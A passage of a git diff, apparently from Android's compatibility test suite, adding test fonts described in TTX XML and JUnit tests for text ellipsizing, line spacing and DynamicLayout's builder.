private void assertMacAddress(String macAddress) {
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttf b/tests/tests/text/assets/ellipsis_test_font.ttf
new file mode 100644
index 0000000..ad0d79b
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttf
Binary files differ
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttx b/tests/tests/text/assets/ellipsis_test_font.ttx
new file mode 100644
index 0000000..0c74b47
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttx
@@ -0,0 +1,238 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ <GlyphID id="2" name="ellipsis"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x10000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="0"/>
+ <mtx name="a" width="1000" lsb="0"/>
+ <mtx name="ellipsis" width="1000" lsb="0"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" /> <!-- LATIN SMALL LETTER A -->
+ <map code="0x2026" name="ellipsis" /> <!-- HORIZONTAL ELLIPSIS -->
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="ellipsis" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+ <GPOS>
+ <Version value="0x00010000"/>
+ <ScriptList>
+ <!-- ScriptCount=1 -->
+ <ScriptRecord index="0">
+ <ScriptTag value="DFLT"/>
+ <Script>
+ <DefaultLangSys>
+ <ReqFeatureIndex value="65535"/>
+ <!-- FeatureCount=1 -->
+ <FeatureIndex index="0" value="0"/>
+ </DefaultLangSys>
+ <!-- LangSysCount=0 -->
+ </Script>
+ </ScriptRecord>
+ </ScriptList>
+ <FeatureList>
+ <!-- FeatureCount=1 -->
+ <FeatureRecord index="0">
+ <FeatureTag value="kern"/>
+ <Feature>
+ <!-- LookupCount=1 -->
+ <LookupListIndex index="0" value="0"/>
+ </Feature>
+ </FeatureRecord>
+ </FeatureList>
+ <LookupList>
+ <!-- LookupCount=1 -->
+ <Lookup index="0">
+ <LookupType value="2"/>
+ <LookupFlag value="0"/>
+ <PairPos index="0" Format="1">
+ <Coverage Format="1">
+ <Glyph value="a"/>
+ <Glyph value="ellipsis"/>
+ </Coverage>
+ <ValueFormat1 value="4"/>
+ <ValueFormat2 value="0"/>
+ <PairSet index="0">
+ <PairValueRecord index="0">
+ <SecondGlyph value="ellipsis"/>
+ <Value1 XAdvance="500"/>
+ </PairValueRecord>
+ </PairSet>
+ <PairSet index="1">
+ <PairValueRecord index="0">
+ <SecondGlyph value="a"/>
+ <Value1 XAdvance="500"/>
+ </PairValueRecord>
+ </PairSet>
+ </PairPos>
+ </Lookup>
+ </LookupList>
+ </GPOS>
+</ttFont>
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
new file mode 100644
index 0000000..1bad6fe
--- /dev/null
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
Binary files differ
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
new file mode 100644
index 0000000..0cf0f79
--- /dev/null
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
@@ -0,0 +1,207 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="0em"/>
+ <GlyphID id="2" name="1em"/>
+ <GlyphID id="3" name="3em"/>
+ <GlyphID id="4" name="5em"/>
+ <GlyphID id="5" name="7em"/>
+ <GlyphID id="6" name="10em"/>
+ <GlyphID id="7" name="50em"/>
+ <GlyphID id="8" name="100em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="100"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x00010000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="50" lsb="0"/>
+ <mtx name="0em" width="0" lsb="0"/>
+ <mtx name="1em" width="100" lsb="0"/>
+ <mtx name="3em" width="300" lsb="0"/>
+ <mtx name="5em" width="500" lsb="0"/>
+ <mtx name="7em" width="700" lsb="0"/>
+ <mtx name="10em" width="1000" lsb="0"/>
+ <mtx name="50em" width="5000" lsb="0"/>
+ <mtx name="100em" width="10000" lsb="0"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_12 format="12" reserved="0" length="6" nGroups="1" platformID="3" platEncID="10" language="0">
+ <map code="0x0020" name="10em" />
+ <map code="0x002e" name="10em" /> <!-- . -->
+ <map code="0x0043" name="100em" /> <!-- C -->
+ <map code="0x0049" name="1em" /> <!-- I -->
+ <map code="0x004c" name="50em" /> <!-- L -->
+ <map code="0x0056" name="5em" /> <!-- V -->
+ <map code="0x0058" name="10em" /> <!-- X -->
+ <map code="0x005f" name="0em" /> <!-- _ -->
+ <map code="0xfffd" name="7em" /> <!-- REPLACEMENT CHAR -->
+ <map code="0x10331" name="10em" />
+ </cmap_format_12>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="0em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="5em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="7em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="10em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="50em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="100em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Font for StaticLayoutLineBreakingTest
+ </namerecord>
+ <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Font for StaticLayoutLineBreakingTest
+ </namerecord>
+ <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/layout/keylistener_layout.xml b/tests/tests/text/res/layout/keylistener_layout.xml
index 84a7a14..e26e815 100644
--- a/tests/tests/text/res/layout/keylistener_layout.xml
+++ b/tests/tests/text/res/layout/keylistener_layout.xml
@@ -19,6 +19,7 @@
android:id="@+id/keylistener_textview"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:textSize="10dp"
-/>
+ android:textSize="10dp">
+ <requestFocus />
+</android.text.method.cts.EditTextNoIme>
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index e78fb3e..f2a7b5a 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -23,6 +23,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyFloat;
import static org.mockito.Matchers.anyInt;
@@ -36,6 +37,8 @@
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.BoringLayout;
@@ -345,6 +348,91 @@
anyInt(), anyInt(), anyFloat(), anyFloat(), any(Paint.class));
}
+ @Test
+ public void testEllipsize_End() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "aa…"
+ // would fit, but after measuring the new text, we find that it doesn't and we need to
+ // retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (3.4f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.END,
+ allocatedWidth);
+ assertEquals("a\u2026\uFEFF\uFEFF", layout.getText().toString());
+ }
+
+ @Test
+ public void testEllipsize_Start() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "…aa"
+ // would fit, but after measuring the new text, we find that it doesn't and we need to
+ // retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (3.4f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.START,
+ allocatedWidth);
+ assertEquals("\u2026\uFEFF\uFEFFa", layout.getText().toString());
+ }
+
+ @Test
+ public void testEllipsize_Middle() {
+ // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+ // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (5.9f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.MIDDLE,
+ allocatedWidth);
+ final String ellipsizedString = layout.getText().toString();
+ assertTrue("aa\u2026\uFEFF\uFEFFa".equals(ellipsizedString)
+ || "a\u2026\uFEFF\uFEFFaa".equals(ellipsizedString));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
private static Metrics createMetrics(
final int top,
final int ascent,
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 02139c5..d37f0ca 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -29,6 +29,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.text.DynamicLayout;
import android.text.Layout;
+import android.text.SpannableStringBuilder;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.TextUtils;
@@ -44,6 +45,7 @@
private static final float SPACING_MULT_NO_SCALE = 1.0f;
private static final float SPACING_ADD_NO_SCALE = 0.0f;
private static final int DEFAULT_OUTER_WIDTH = 150;
+ private static final int ELLIPSIZE_WIDTH = 8;
private static final CharSequence SINGLELINE_CHAR_SEQUENCE = "......";
private static final String[] TEXT = {"CharSequence\n", "Char\tSequence\n", "CharSequence"};
private static final CharSequence MULTLINE_CHAR_SEQUENCE = TEXT[0] + TEXT[1] + TEXT[2];
@@ -110,7 +112,7 @@
DEFAULT_ALIGN,
SPACING_MULT_NO_SCALE,
SPACING_ADD_NO_SCALE,
- true,
+ true /* include pad */,
TextUtils.TruncateAt.START,
DEFAULT_OUTER_WIDTH);
assertEquals(0, dynamicLayout.getEllipsisCount(LINE1));
@@ -118,6 +120,24 @@
assertEquals(DEFAULT_OUTER_WIDTH, dynamicLayout.getEllipsizedWidth());
}
+ // This could cause a crash in an older version of ellipsization code.
+ @Test
+ public void testEllipsisWithReflow() {
+ final String text = "Ham & Cheese.sandwich";
+ final int width = 1 << 20;
+ final int ellipsizedWidth = 2 * (int) mDefaultPaint.getTextSize();
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ text,
+ mDefaultPaint,
+ width,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ true /* include pad */,
+ TextUtils.TruncateAt.END,
+ ellipsizedWidth);
+ }
+
/*
* Test whether include the padding to calculate the layout.
* 1. Include padding while calculate the layout.
@@ -194,6 +214,62 @@
assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
}
+ @Test
+ public void testLineSpacing() {
+ SpannableStringBuilder text = new SpannableStringBuilder("a\nb\nc");
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+
+ // add a new line to the end, DynamicLayout will re-calculate
+ text = text.append("\nd");
+ expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+
+ // insert a next line and a char as the new second line
+ text = text.insert(TextUtils.indexOf(text, '\n') + 1, "a1\n");
+ expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
+
+ @Test
+ public void testLineSpacing_textEndingWithNextLine() {
+ final SpannableStringBuilder text = new SpannableStringBuilder("a\n");
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4f;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ final Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
+
private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
float spacingAdd, float spacingMultiplier) {
return StaticLayout.Builder.obtain(text, 0,
@@ -253,4 +329,93 @@
spacingMultiplier);
assertLineSpecs(expected, dynamicLayout);
}
+
+ @Test
+ public void testBuilder_obtain() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ final DynamicLayout layout = builder.build();
+ // Check values passed to obtain().
+ assertEquals(MULTLINE_CHAR_SEQUENCE, layout.getText());
+ assertEquals(mDefaultPaint, layout.getPaint());
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+ // Check default values.
+ assertEquals(Layout.Alignment.ALIGN_NORMAL, layout.getAlignment());
+ assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
+ assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getEllipsizedWidth());
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testBuilder_obtainWithNullText() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(null, mDefaultPaint, 0);
+ final DynamicLayout layout = builder.build();
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testBuilder_obtainWithNullPaint() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ null, 0);
+ final DynamicLayout layout = builder.build();
+ }
+
+ @Test
+ public void testBuilder_setDisplayTest() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setDisplayText(SINGLELINE_CHAR_SEQUENCE);
+ final DynamicLayout layout = builder.build();
+ assertEquals(SINGLELINE_CHAR_SEQUENCE, layout.getText());
+ }
+
+ @Test
+ public void testBuilder_setAlignment() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setAlignment(DEFAULT_ALIGN);
+ final DynamicLayout layout = builder.build();
+ assertEquals(DEFAULT_ALIGN, layout.getAlignment());
+ }
+
+ @Test
+ public void testBuilder_setLineSpacing() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(1.0f, 2.0f);
+ final DynamicLayout layout = builder.build();
+ assertEquals(1.0f, layout.getSpacingAdd(), 0.0f);
+ assertEquals(2.0f, layout.getSpacingMultiplier(), 0.0f);
+ }
+
+ @Test
+ public void testBuilder_ellipsization() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(ELLIPSIZE_WIDTH);
+ final DynamicLayout layout = builder.build();
+ assertEquals(ELLIPSIZE_WIDTH, layout.getEllipsizedWidth());
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+ for (int i = 0; i < TEXT.length; i++) {
+ if (i == TEXT.length - 1) { // last line
+ assertTrue(layout.getEllipsisCount(i) > 0);
+ } else {
+ assertEquals(0, layout.getEllipsisCount(i));
+ }
+ }
+ }
+
+ @Test
+ public void testBuilder_otherSetters() {
+ // Setter methods that cannot be directly tested.
+ // setBreakStrategy, setHyphenationFrequency, setIncludePad, and setJustificationMode.
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY)
+ .setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL)
+ .setIncludePad(true)
+ .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD);
+ final DynamicLayout layout = builder.build();
+ assertNotNull(layout);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index f920bda..2aac83b 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -23,6 +23,7 @@
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
import android.text.Selection;
import android.text.SpannableStringBuilder;
import android.text.StaticLayout;
@@ -275,6 +276,56 @@
}
@Test
+ public void testMoveUpAfterTyping() {
